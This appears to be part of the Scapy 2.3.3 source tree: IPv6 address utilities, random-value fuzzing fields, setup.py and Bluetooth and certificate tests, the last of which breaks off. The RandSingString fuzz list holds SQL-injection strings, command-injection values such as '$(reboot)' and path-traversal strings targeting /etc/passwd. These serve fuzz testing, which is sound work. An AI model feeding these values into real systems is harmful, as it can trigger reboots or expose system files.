in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous='d006:d540:db11:b092') ('fe97:46fe:9871:bd38', 'eeed:d79c:2e3f:62e') """ s = "" if previous is None: d = "".join(chr(x) for x in xrange(256)) for _ in xrange(8): s += random.choice(d) previous = s s = inet_pton(socket.AF_INET6, "::"+ifaceid)[8:] + previous import md5 s = md5.new(s).digest() s1,s2 = s[:8],s[8:] s1 = chr(ord(s1[0]) | 0x04) + s1[1:] s1 = inet_ntop(socket.AF_INET6, "\xff"*8 + s1)[20:] s2 = inet_ntop(socket.AF_INET6, "\xff"*8 + s2)[20:] return (s1, s2) _rfc1924map = [ '0','1','2','3','4','5','6','7','8','9','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T', 'U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i', 'j','k','l','m','n','o','p','q','r','s','t','u','v','w','x', 'y','z','!','#','$','%','&','(',')','*','+','-',';','<','=', '>','?','@','^','_','`','{','|','}','~' ] def in6_ctop(addr): """ Convert an IPv6 address in Compact Representation Notation (RFC 1924) to printable representation ;-) Returns None on error. """ if len(addr) != 20 or not reduce(lambda x,y: x and y, map(lambda x: x in _rfc1924map, addr)): return None i = 0 for c in addr: j = _rfc1924map.index(c) i = 85*i + j res = [] for j in xrange(4): res.append(struct.pack("!I", i%2**32)) i = i/(2**32) res.reverse() return inet_ntop(socket.AF_INET6, "".join(res)) def in6_ptoc(addr): """ Converts an IPv6 address in printable representation to RFC 1924 Compact Representation ;-) Returns None on error. """ try: d=struct.unpack("!IIII", inet_pton(socket.AF_INET6, addr)) except: return None res = 0 m = [2**96, 2**64, 2**32, 1] for i in xrange(4): res += d[i]*m[i] rem = res res = [] while rem: res.append(_rfc1924map[rem%85]) rem = rem/85 res.reverse() return "".join(res) def in6_isaddr6to4(x): """ Return True if provided address (in printable format) is a 6to4 address (being in 2002::/16). """ x = inet_pton(socket.AF_INET6, x) return x[:2] == ' \x02' conf.teredoPrefix = "2001::" # old one was 3ffe:831f (it is a /32) conf.teredoServerPort = 3544 def in6_isaddrTeredo(x): """ Return True if provided address is a Teredo, meaning it is under the /32 conf.teredoPrefix prefix value (by default, 2001::). Otherwise, False is returned. Address must be passed in printable format. """ our = inet_pton(socket.AF_INET6, x)[0:4] teredoPrefix = inet_pton(socket.AF_INET6, conf.teredoPrefix)[0:4] return teredoPrefix == our def teredoAddrExtractInfo(x): """ Extract information from a Teredo address. Return value is a 4-tuple made of IPv4 address of Teredo server, flag value (int), mapped address (non obfuscated) and mapped port (non obfuscated). No specific checks are performed on passed address. """ addr = inet_pton(socket.AF_INET6, x) server = inet_ntop(socket.AF_INET, addr[4:8]) flag = struct.unpack("!H",addr[8:10])[0] mappedport = struct.unpack("!H",strxor(addr[10:12],'\xff'*2))[0] mappedaddr = inet_ntop(socket.AF_INET, strxor(addr[12:16],'\xff'*4)) return server, flag, mappedaddr, mappedport def in6_iseui64(x): """ Return True if provided address has an interface identifier part created in modified EUI-64 format (meaning it matches *::*:*ff:fe*:*). Otherwise, False is returned. Address must be passed in printable format. """ eui64 = inet_pton(socket.AF_INET6, '::ff:fe00:0') x = in6_and(inet_pton(socket.AF_INET6, x), eui64) return x == eui64 def in6_isanycast(x): # RFC 2526 if in6_iseui64(x): s = '::fdff:ffff:ffff:ff80' packed_x = inet_pton(socket.AF_INET6, x) packed_s = inet_pton(socket.AF_INET6, s) x_and_s = in6_and(packed_x, packed_s) return x_and_s == packed_s else: # not EUI-64 #| n bits | 121-n bits | 7 bits | #+---------------------------------+------------------+------------+ #| subnet prefix | 1111111...111111 | anycast ID | #+---------------------------------+------------------+------------+ # | interface identifier field | warning('in6_isanycast(): TODO not EUI-64') return 0 def _in6_bitops(a1, a2, operator=0): a1 = struct.unpack('4I', a1) a2 = struct.unpack('4I', a2) fop = [ lambda x,y: x | y, lambda x,y: x & y, lambda x,y: x ^ y ] ret = map(fop[operator%len(fop)], a1, a2) t = ''.join(map(lambda x: struct.pack('I', x), ret)) return t def in6_or(a1, a2): """ Provides a bit to bit OR of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return _in6_bitops(a1, a2, 0) def in6_and(a1, a2): """ Provides a bit to bit AND of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return _in6_bitops(a1, a2, 1) def in6_xor(a1, a2): """ Provides a bit to bit XOR of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return _in6_bitops(a1, a2, 2) def in6_cidr2mask(m): """ Return the mask (bitstring) associated with provided length value. For instance if function is called on 48, return value is '\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'. """ if m > 128 or m < 0: raise Scapy_Exception("value provided to in6_cidr2mask outside [0, 128] domain (%d)" % m) t = [] for i in xrange(0, 4): t.append(max(0, 2**32 - 2**(32-min(32, m)))) m -= 32 return ''.join(map(lambda x: struct.pack('!I', x), t)) def in6_getnsma(a): """ Return link-local solicited-node multicast address for given address. Passed address must be provided in network format. Returned value is also in network format. """ r = in6_and(a, inet_pton(socket.AF_INET6, '::ff:ffff')) r = in6_or(inet_pton(socket.AF_INET6, 'ff02::1:ff00:0'), r) return r def in6_getnsmac(a): # return multicast Ethernet address associated with multicast v6 destination """ Return the multicast mac address associated with provided IPv6 address. Passed address must be in network format. """ a = struct.unpack('16B', a)[-4:] mac = '33:33:' mac += ':'.join(map(lambda x: '%.2x' %x, a)) return mac def in6_getha(prefix): """ Return the anycast address associated with all home agents on a given subnet. """ r = in6_and(inet_pton(socket.AF_INET6, prefix), in6_cidr2mask(64)) r = in6_or(r, inet_pton(socket.AF_INET6, '::fdff:ffff:ffff:fffe')) return inet_ntop(socket.AF_INET6, r) def in6_ptop(str): """ Normalizes IPv6 addresses provided in printable format, returning the same address in printable format. (2001:0db8:0:0::1 -> 2001:db8::1) """ return inet_ntop(socket.AF_INET6, inet_pton(socket.AF_INET6, str)) def in6_isincluded(addr, prefix, plen): """ Returns True when 'addr' belongs to prefix/plen. False otherwise. """ temp = inet_pton(socket.AF_INET6, addr) pref = in6_cidr2mask(plen) zero = inet_pton(socket.AF_INET6, prefix) return zero == in6_and(temp, pref) def in6_isllsnmaddr(str): """ Return True if provided address is a link-local solicited node multicast address, i.e. belongs to ff02::1:ff00:0/104. False is returned otherwise. """ temp = in6_and("\xff"*13+"\x00"*3, inet_pton(socket.AF_INET6, str)) temp2 = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\x00' return temp == temp2 def in6_isdocaddr(str): """ Returns True if provided address in printable format belongs to 2001:db8::/32 address space reserved for documentation (as defined in RFC 3849). """ return in6_isincluded(str, '2001:db8::', 32) def in6_islladdr(str): """ Returns True if provided address in printable format belongs to _allocated_ link-local unicast address space (fe80::/10) """ return in6_isincluded(str, 'fe80::', 10) def in6_issladdr(str): """ Returns True if provided address in printable format belongs to _allocated_ site-local address space (fec0::/10). This prefix has been deprecated, address being now reserved by IANA. Function will remain for historic reasons. """ return in6_isincluded(str, 'fec0::', 10) def in6_isuladdr(str): """ Returns True if provided address in printable format belongs to Unique local address space (fc00::/7). """ return in6_isincluded(str, 'fc00::', 7) # TODO : we should see the status of Unique Local addresses against # global address space. # Up-to-date information is available through RFC 3587. # We should review function behavior based on its content. def in6_isgladdr(str): """ Returns True if provided address in printable format belongs to _allocated_ global address space (2000::/3). Please note that, Unique Local addresses (FC00::/7) are not part of global address space, and won't match. """ return in6_isincluded(str, '2000::', 3) def in6_ismaddr(str): """ Returns True if provided address in printable format belongs to allocated Multicast address space (ff00::/8). """ return in6_isincluded(str, 'ff00::', 8) def in6_ismnladdr(str): """ Returns True if address belongs to node-local multicast address space (ff01::/16) as defined in RFC """ return in6_isincluded(str, 'ff01::', 16) def in6_ismgladdr(str): """ Returns True if address belongs to global multicast address space (ff0e::/16). """ return in6_isincluded(str, 'ff0e::', 16) def in6_ismlladdr(str): """ Returns True if address balongs to link-local multicast address space (ff02::/16) """ return in6_isincluded(str, 'ff02::', 16) def in6_ismsladdr(str): """ Returns True if address belongs to site-local multicast address space (ff05::/16). Site local address space has been deprecated. Function remains for historic reasons. """ return in6_isincluded(str, 'ff05::', 16) def in6_isaddrllallnodes(str): """ Returns True if address is the link-local all-nodes multicast address (ff02::1). """ return (inet_pton(socket.AF_INET6, "ff02::1") == inet_pton(socket.AF_INET6, str)) def in6_isaddrllallservers(str): """ Returns True if address is the link-local all-servers multicast address (ff02::2). """ return (inet_pton(socket.AF_INET6, "ff02::2") == inet_pton(socket.AF_INET6, str)) def in6_getscope(addr): """ Returns the scope of the address. """ if in6_isgladdr(addr) or in6_isuladdr(addr): scope = IPV6_ADDR_GLOBAL elif in6_islladdr(addr): scope = IPV6_ADDR_LINKLOCAL elif in6_issladdr(addr): scope = IPV6_ADDR_SITELOCAL elif in6_ismaddr(addr): if in6_ismgladdr(addr): scope = IPV6_ADDR_GLOBAL elif in6_ismlladdr(addr): scope = IPV6_ADDR_LINKLOCAL elif in6_ismsladdr(addr): scope = IPV6_ADDR_SITELOCAL elif in6_ismnladdr(addr): scope = IPV6_ADDR_LOOPBACK else: scope = -1 elif addr == '::1': scope = IPV6_ADDR_LOOPBACK else: scope = -1 return scope def in6_get_common_plen(a, b): """ Return common prefix length of IPv6 addresses a and b. """ def matching_bits(byte1, byte2): for i in xrange(8): cur_mask = 0x80 >> i if (byte1 & cur_mask) != (byte2 & cur_mask): return i return 8 tmpA = inet_pton(socket.AF_INET6, a) tmpB = inet_pton(socket.AF_INET6, b) for i in xrange(16): mbits = matching_bits(ord(tmpA[i]), ord(tmpB[i])) if mbits != 8: return 8*i + mbits return 128 def in6_isvalid(address): """Return True if 'address' is a valid IPv6 address string, False otherwise.""" try: socket.inet_pton(socket.AF_INET6, address) return True except: return False scapy-2.3.3/scapy/volatile.py000066400000000000000000000515221300136037300161470ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Fields that hold random numbers. """ import random,time,math from scapy.base_classes import Net from scapy.utils import corrupt_bits,corrupt_bytes #################### ## Random numbers ## #################### class RandomEnumeration: """iterate through a sequence in random order. When all the values have been drawn, if forever=1, the drawing is done again. If renewkeys=0, the draw will be in the same order, guaranteeing that the same number will be drawn in not less than the number of integers of the sequence""" def __init__(self, inf, sup, seed=None, forever=1, renewkeys=0): self.forever = forever self.renewkeys = renewkeys self.inf = inf self.rnd = random.Random(seed) self.sbox_size = 256 self.top = sup-inf+1 n=0 while (1<>= self.fs lsb ^= self.sbox[ct%self.sbox_size] ct |= lsb << (self.n-self.fs) if ct < self.top: return self.inf+ct self.i = 0 if not self.forever: raise StopIteration class VolatileValue: def __repr__(self): return "<%s>" % self.__class__.__name__ def __getattr__(self, attr): if attr == "__setstate__": raise AttributeError(attr) elif attr == "__cmp__": x = self._fix() def cmp2(y,x=x): if type(x) != type(y): return -1 return x.__cmp__(y) return cmp2 return getattr(self._fix(),attr) def _fix(self): return None class RandField(VolatileValue): pass class RandNum(RandField): """Instances evaluate to random integers in selected range""" min = 0 max = 0 def __init__(self, min, max): self.min = min self.max = max def _fix(self): return random.randrange(self.min, self.max+1) class RandNumGamma(RandField): def __init__(self, alpha, beta): self.alpha = alpha self.beta = beta def _fix(self): return int(round(random.gammavariate(self.alpha, self.beta))) class RandNumGauss(RandField): def __init__(self, mu, sigma): self.mu = mu self.sigma = sigma def _fix(self): return int(round(random.gauss(self.mu, self.sigma))) class RandNumExpo(RandField): def __init__(self, lambd, base=0): self.lambd = lambd self.base = base def _fix(self): return self.base+int(round(random.expovariate(self.lambd))) class RandEnum(RandNum): """Instances evaluate to integer sampling without replacement from the given interval""" def __init__(self, min, max): self.seq = RandomEnumeration(min,max) def _fix(self): return self.seq.next() class RandByte(RandNum): def __init__(self): RandNum.__init__(self, 0, 2L**8-1) class RandSByte(RandNum): def __init__(self): RandNum.__init__(self, -2L**7, 2L**7-1) class RandShort(RandNum): def __init__(self): RandNum.__init__(self, 0, 2L**16-1) class RandSShort(RandNum): def __init__(self): RandNum.__init__(self, -2L**15, 2L**15-1) class RandInt(RandNum): def __init__(self): RandNum.__init__(self, 0, 2L**32-1) class RandSInt(RandNum): def __init__(self): RandNum.__init__(self, -2L**31, 2L**31-1) class RandLong(RandNum): def __init__(self): RandNum.__init__(self, 0, 2L**64-1) class RandSLong(RandNum): def __init__(self): RandNum.__init__(self, -2L**63, 2L**63-1) class RandEnumByte(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2L**8-1) class RandEnumSByte(RandEnum): def __init__(self): RandEnum.__init__(self, -2L**7, 2L**7-1) class RandEnumShort(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2L**16-1) class RandEnumSShort(RandEnum): def __init__(self): RandEnum.__init__(self, -2L**15, 2L**15-1) class RandEnumInt(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2L**32-1) class RandEnumSInt(RandEnum): def __init__(self): RandEnum.__init__(self, -2L**31, 2L**31-1) class RandEnumLong(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2L**64-1) class RandEnumSLong(RandEnum): def __init__(self): RandEnum.__init__(self, -2L**63, 2L**63-1) class RandEnumKeys(RandEnum): """Picks a random value from dict keys list. """ def __init__(self, enum): self.enum = list(enum) self.seq = RandomEnumeration(0, len(self.enum) - 1) def _fix(self): return self.enum[self.seq.next()] class RandChoice(RandField): def __init__(self, *args): if not args: raise TypeError("RandChoice needs at least one choice") self._choice = args def _fix(self): return random.choice(self._choice) class RandString(RandField): def __init__(self, size=None, chars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"): if size is None: size = RandNumExpo(0.01) self.size = size self.chars = chars def _fix(self): s = "" for _ in xrange(self.size): s += random.choice(self.chars) return s class RandBin(RandString): def __init__(self, size=None): RandString.__init__(self, size, "".join(map(chr, xrange(256)))) class RandTermString(RandString): def __init__(self, size, term): RandString.__init__(self, size, "".join(map(chr, xrange(1,256)))) self.term = term def _fix(self): return RandString._fix(self)+self.term class RandIP(RandString): def __init__(self, iptemplate="0.0.0.0/0"): self.ip = Net(iptemplate) def _fix(self): return self.ip.choice() class RandMAC(RandString): def __init__(self, template="*"): template += ":*:*:*:*:*" template = template.split(":") self.mac = () for i in xrange(6): if template[i] == "*": v = RandByte() elif "-" in template[i]: x,y = template[i].split("-") v = RandNum(int(x,16), int(y,16)) else: v = int(template[i],16) self.mac += (v,) def _fix(self): return "%02x:%02x:%02x:%02x:%02x:%02x" % self.mac class RandIP6(RandString): def __init__(self, ip6template="**"): self.tmpl = ip6template self.sp = self.tmpl.split(":") for i,v in enumerate(self.sp): if not v or v == "**": continue if "-" in v: a,b = v.split("-") elif v == "*": a=b="" else: a=b=v if not a: a = "0" if not b: b = "ffff" if a==b: self.sp[i] = int(a,16) else: self.sp[i] = RandNum(int(a,16), int(b,16)) self.variable = "" in self.sp self.multi = self.sp.count("**") def _fix(self): done = 0 nbm = self.multi ip = [] for i,n in enumerate(self.sp): if n == "**": nbm -= 1 remain = 8-(len(self.sp)-i-1)-len(ip)+nbm if "" in self.sp: remain += 1 if nbm or self.variable: remain = random.randint(0,remain) for j in xrange(remain): ip.append("%04x" % random.randint(0,65535)) elif n == 0: ip.append("0") elif not n: ip.append("") else: ip.append("%04x" % n) if len(ip) == 9: ip.remove("") if ip[-1] == "": ip[-1] = "0" return ":".join(ip) class RandOID(RandString): def __init__(self, fmt=None, depth=RandNumExpo(0.1), idnum=RandNumExpo(0.01)): self.ori_fmt = fmt if fmt is not None: fmt = fmt.split(".") for i in xrange(len(fmt)): if "-" in fmt[i]: fmt[i] = tuple(map(int, fmt[i].split("-"))) self.fmt = fmt self.depth = depth self.idnum = idnum def __repr__(self): if self.ori_fmt is None: return "<%s>" % self.__class__.__name__ else: return "<%s [%s]>" % (self.__class__.__name__, self.ori_fmt) def _fix(self): if self.fmt is None: return ".".join(map(str, [self.idnum for i in xrange(1+self.depth)])) else: oid = [] for i in self.fmt: if i == "*": oid.append(str(self.idnum)) elif i == "**": oid += map(str, [self.idnum for i in xrange(1+self.depth)]) elif type(i) is tuple: oid.append(str(random.randrange(*i))) else: oid.append(i) return ".".join(oid) class RandRegExp(RandField): def __init__(self, regexp, lambda_=0.3,): self._regexp = regexp self._lambda = lambda_ @staticmethod def choice_expand(s): #XXX does not support special sets like (ex ':alnum:') m = "" invert = s and s[0] == "^" while True: p = s.find("-") if p < 0: break if p == 0 or p == len(s)-1: m = "-" if p: s = s[:-1] else: s = s[1:] else: c1 = s[p-1] c2 = s[p+1] rng = "".join(map(chr, xrange(ord(c1), ord(c2)+1))) s = s[:p-1]+rng+s[p+1:] res = m+s if invert: res = "".join([chr(x) for x in xrange(256) if chr(x) not in res]) return res @staticmethod def stack_fix(lst, index): r = "" mul = 1 for e in lst: if type(e) is list: if mul != 1: mul = mul-1 r += RandRegExp.stack_fix(e[1:]*mul, index) # only the last iteration should be kept for back reference f = RandRegExp.stack_fix(e[1:], index) for i,idx in enumerate(index): if e is idx: index[i] = f r += f mul = 1 elif type(e) is tuple: kind,val = e if kind == "cite": r += index[val-1] elif kind == "repeat": mul = val elif kind == "choice": if mul == 1: c = random.choice(val) r += RandRegExp.stack_fix(c[1:], index) else: r += RandRegExp.stack_fix([e]*mul, index) mul = 1 else: if mul != 1: r += RandRegExp.stack_fix([e]*mul, index) mul = 1 else: r += str(e) return r def _fix(self): stack = [None] index = [] current = stack i = 0 ln = len(self._regexp) interp = True while i < ln: c = self._regexp[i] i+=1 if c == '(': current = [current] current[0].append(current) elif c == '|': p = current[0] ch = p[-1] if type(ch) is not tuple: ch = ("choice",[current]) p[-1] = ch else: ch[1].append(current) current = [p] elif c == ')': ch = current[0][-1] if type(ch) is tuple: ch[1].append(current) index.append(current) current = current[0] elif c == '[' or c == '{': current = [current] current[0].append(current) interp = False elif c == ']': current = current[0] choice = RandRegExp.choice_expand("".join(current.pop()[1:])) current.append(RandChoice(*list(choice))) interp = True elif c == '}': current = current[0] num = "".join(current.pop()[1:]) e = current.pop() if "," not in num: n = int(num) current.append([current]+[e]*n) else: num_min,num_max = num.split(",") if not num_min: num_min = "0" if num_max: n = RandNum(int(num_min),int(num_max)) else: n = RandNumExpo(self._lambda,base=int(num_min)) current.append(("repeat",n)) current.append(e) interp = True elif c == '\\': c = self._regexp[i] if c == "s": c = RandChoice(" ","\t") elif c in "0123456789": c = ("cite",ord(c)-0x30) current.append(c) i += 1 elif not interp: current.append(c) elif c == '+': e = current.pop() current.append([current]+[e]*(int(random.expovariate(self._lambda))+1)) elif c == '*': e = current.pop() current.append([current]+[e]*int(random.expovariate(self._lambda))) elif c == '?': if random.randint(0,1): current.pop() elif c == '.': current.append(RandChoice(*[chr(x) for x in xrange(256)])) elif c == '$' or c == '^': pass else: current.append(c) return RandRegExp.stack_fix(stack[1:], index) def __repr__(self): return "<%s [%r]>" % (self.__class__.__name__, self._regexp) class RandSingularity(RandChoice): pass class RandSingNum(RandSingularity): @staticmethod def make_power_of_two(end): sign = 1 if end == 0: end = 1 if end < 0: end = -end sign = -1 end_n = int(math.log(end)/math.log(2))+1 return set([sign*2**i for i in xrange(end_n)]) def __init__(self, mn, mx): sing = set([0, mn, mx, int((mn+mx)/2)]) sing |= self.make_power_of_two(mn) sing |= self.make_power_of_two(mx) for i in sing.copy(): sing.add(i+1) sing.add(i-1) for i in sing.copy(): if not mn <= i <= mx: sing.remove(i) self._choice = list(sing) class RandSingByte(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2L**8-1) class RandSingSByte(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2L**7, 2L**7-1) class RandSingShort(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2L**16-1) class RandSingSShort(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2L**15, 2L**15-1) class RandSingInt(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2L**32-1) class RandSingSInt(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2L**31, 2L**31-1) class RandSingLong(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2L**64-1) class RandSingSLong(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2L**63, 2L**63-1) class RandSingString(RandSingularity): def __init__(self): self._choice = [ "", "%x", "%%", "%s", "%i", "%n", "%x%x%x%x%x%x%x%x%x", "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s", "%", "%%%", "A"*4096, "\x00"*4096, "\xff"*4096, "\x7f"*4096, "\x80"*4096, " "*4096, "\\"*4096, "("*4096, "../"*1024, "/"*1024, "${HOME}"*512, " or 1=1 --", "' or 1=1 --", '" or 1=1 --', " or 1=1; #", "' or 1=1; #", '" or 1=1; #', ";reboot;", "$(reboot)", "`reboot`", "index.php%00", "\x00", "%00", "\\", "../../../../../../../../../../../../../../../../../etc/passwd", "%2e%2e%2f" * 20 + "etc/passwd", "%252e%252e%252f" * 20 + "boot.ini", "..%c0%af" * 20 + "etc/passwd", "..%c0%af" * 20 + "boot.ini", "//etc/passwd", r"..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini", "AUX:", "CLOCK$", "COM:", "CON:", "LPT:", "LST:", "NUL:", "CON:", r"C:\CON\CON", r"C:\boot.ini", r"\\myserver\share", "foo.exe:", "foo.exe\\", ] class RandPool(RandField): def __init__(self, *args): """Each parameter is a volatile object or a couple (volatile object, weight)""" pool = [] for p in args: w = 1 if type(p) is tuple: p,w = p pool += [p]*w self._pool = pool def _fix(self): r = random.choice(self._pool) return r._fix() # Automatic timestamp class AutoTime(VolatileValue): def __init__(self, base=None): if base == None: self.diff = 0 else: self.diff = time.time()-base def _fix(self): return time.time()-self.diff class IntAutoTime(AutoTime): def _fix(self): return int(time.time()-self.diff) class ZuluTime(AutoTime): def __init__(self, diff=0): self.diff = diff def _fix(self): return time.strftime("%y%m%d%H%M%SZ", time.gmtime(time.time() + self.diff)) class GeneralizedTime(AutoTime): def __init__(self, diff=0): self.diff = diff def _fix(self): return time.strftime("%Y%m%d%H%M%SZ", time.gmtime(time.time() + self.diff)) class DelayedEval(VolatileValue): """ Exemple of usage: DelayedEval("time.time()") """ def __init__(self, expr): self.expr = expr def _fix(self): return eval(self.expr) class IncrementalValue(VolatileValue): def __init__(self, start=0, step=1, restart=-1): self.start = self.val = start self.step = step self.restart = restart def _fix(self): v = self.val if self.val == self.restart : self.val = self.start else: self.val += self.step return v class CorruptedBytes(VolatileValue): def __init__(self, s, p=0.01, n=None): self.s = s self.p = p self.n = n def _fix(self): return corrupt_bytes(self.s, self.p, self.n) class CorruptedBits(CorruptedBytes): def _fix(self): return corrupt_bits(self.s, self.p, self.n) scapy-2.3.3/setup.cfg000066400000000000000000000001251300136037300144510ustar00rootroot00000000000000[metadata] description-file = README.md [sdist] formats=gztar owner=root group=root scapy-2.3.3/setup.py000077500000000000000000000051411300136037300143500ustar00rootroot00000000000000#! /usr/bin/env python """ Distutils setup file for Scapy. """ from distutils import archive_util from distutils import sysconfig from distutils.core import setup from distutils.command.sdist import sdist import os EZIP_HEADER = """#! /bin/sh PYTHONPATH=$0/%s exec python -m scapy.__init__ """ def make_ezipfile(base_name, base_dir, verbose=0, dry_run=0, **kwargs): fname = archive_util.make_zipfile(base_name, base_dir, verbose, dry_run) ofname = fname + ".old" os.rename(fname, ofname) of = open(ofname) f = open(fname, "w") f.write(EZIP_HEADER % base_dir) while True: data = of.read(8192) if not data: break f.write(data) f.close() os.system("zip -A '%s'" % fname) of.close() os.unlink(ofname) os.chmod(fname, 0755) return fname archive_util.ARCHIVE_FORMATS["ezip"] = ( make_ezipfile, [], 'Executable ZIP file') SCRIPTS = ['bin/scapy', 'bin/UTscapy'] # On Windows we also need additional batch files to run the above scripts if os.name == "nt": SCRIPTS += ['bin/scapy.bat', 'bin/UTscapy.bat'] setup( name='scapy', version=__import__('scapy').VERSION, packages=[ 'scapy', 'scapy/arch', 'scapy/arch/windows', 'scapy/contrib', 'scapy/layers', 'scapy/layers/tls', 'scapy/layers/tls/crypto', 'scapy/modules', 'scapy/asn1', 'scapy/tools', ], scripts=SCRIPTS, data_files=[('share/man/man1', ["doc/scapy.1.gz"])], package_data={ 'scapy': ['VERSION'], }, # Metadata author='Philippe BIONDI', author_email='phil(at)secdev.org', description='Scapy: interactive packet manipulation tool', license='GPLv2', url='http://www.secdev.org/projects/scapy', download_url='https://github.com/secdev/scapy/tarball/master', keywords=["network"], classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: Developers", "Intended Audience :: Information Technology", "Intended Audience :: Science/Research", "Intended Audience :: System Administrators", "Intended Audience :: Telecommunications Industry", "License :: OSI Approved :: GNU General Public License v2 (GPLv2)", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.5", "Programming Language :: Python :: 2.6", "Programming Language :: Python :: 2.7", "Topic :: Security", "Topic :: System :: Networking", "Topic :: System :: Networking :: Monitoring", ] ) scapy-2.3.3/test/000077500000000000000000000000001300136037300136115ustar00rootroot00000000000000scapy-2.3.3/test/bluetooth.uts000066400000000000000000000042631300136037300163600ustar00rootroot00000000000000% Scapy Bluetooth layer tests + HCI Commands = LE Create Connection Cancel expected_cmd_raw_data = "010e2000".decode('hex') cmd_raw_data = str(HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Create_Connection_Cancel()) assert(expected_cmd_raw_data == cmd_raw_data) = Disconnect expected_cmd_raw_data = "01060403341213".decode('hex') cmd_raw_data = str(HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_Disconnect(handle=0x1234)) assert(expected_cmd_raw_data == cmd_raw_data) = LE Connection Update Command expected_cmd_raw_data = "0113200e47000a00140001003c000100ffff".decode('hex') cmd_raw_data = str( HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Connection_Update( handle=0x47, min_interval=10, max_interval=20, latency=1, timeout=60, min_ce=1, max_ce=0xffff)) assert(expected_cmd_raw_data == cmd_raw_data) + HCI Events = LE Connection Update Event evt_raw_data = "043e0a03004800140001003c00".decode('hex') evt_pkt = HCI_Hdr(evt_raw_data) assert(evt_pkt[HCI_LE_Meta_Connection_Update_Complete].handle == 0x48) assert(evt_pkt[HCI_LE_Meta_Connection_Update_Complete].interval == 20) assert(evt_pkt[HCI_LE_Meta_Connection_Update_Complete].latency == 1) assert(evt_pkt[HCI_LE_Meta_Connection_Update_Complete].timeout == 60) + Bluetooth LE Advertising / Scan Response Data Parsing = Parse EIR_Flags, EIR_CompleteList16BitServiceUUIDs, EIR_CompleteLocalName and EIR_TX_Power_Level ad_report_raw_data = \ "043e2b020100016522c00181781f0201020303d9fe1409" \ "506562626c652054696d65204c452037314536020a0cde".decode('hex') scapy_packet = HCI_Hdr(ad_report_raw_data) assert(scapy_packet[EIR_Flags].flags == 0x02) assert(scapy_packet[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [0xfed9]) assert(scapy_packet[EIR_CompleteLocalName].local_name == 'Pebble Time LE 71E6') assert(scapy_packet[EIR_TX_Power_Level].level == 12) = Parse EIR_Manufacturer_Specific_Data scan_resp_raw_data = \ "043e2302010401be5e0eb9f04f1716ff5401005f423331" \ "3134374432343631fc00030c0000de".decode('hex') scapy_packet = HCI_Hdr(scan_resp_raw_data) assert(scapy_packet[EIR_Manufacturer_Specific_Data].data == '\x00_B31147D2461\xfc\x00\x03\x0c\x00\x00') assert(scapy_packet[EIR_Manufacturer_Specific_Data].company_id == 0x154) scapy-2.3.3/test/cert.uts000066400000000000000000000522171300136037300153120ustar00rootroot00000000000000# Cert extension - Regression Test Campaign # Try me with: # bash test/run_tests -t test/cert.uts -F ########### PKCS helpers ############################################### + PKCS helpers tests = PKCS os2ip basic tests pkcs_os2ip('\x00\x00\xff\xff') == 0xffff and pkcs_os2ip('\xff\xff\xff\xff\xff') == 0xffffffffff = PKCS i2osp basic tests pkcs_i2osp(0xffff, 4) == '\x00\x00\xff\xff' and pkcs_i2osp(0xffff, 2) == '\xff\xff' and pkcs_i2osp(0xffffeeee, 3) == '\xff\xff\xee\xee' ########### PubKey class ############################################### + PubKey class tests = PubKey class : Importing PEM-encoded RSA public key x = PubKey(""" -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nTEZukS0lLP+yj 1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ 2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9/NnIb/wAZwS0 oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJd I8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkm TL1SGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvz AwIDAQAB -----END PUBLIC KEY----- """) type(x) is PubKeyRSA = PubKey class : key format is PEM x.frmt == "PEM" = PubKey class : Importing DER-encoded RSA Key y = 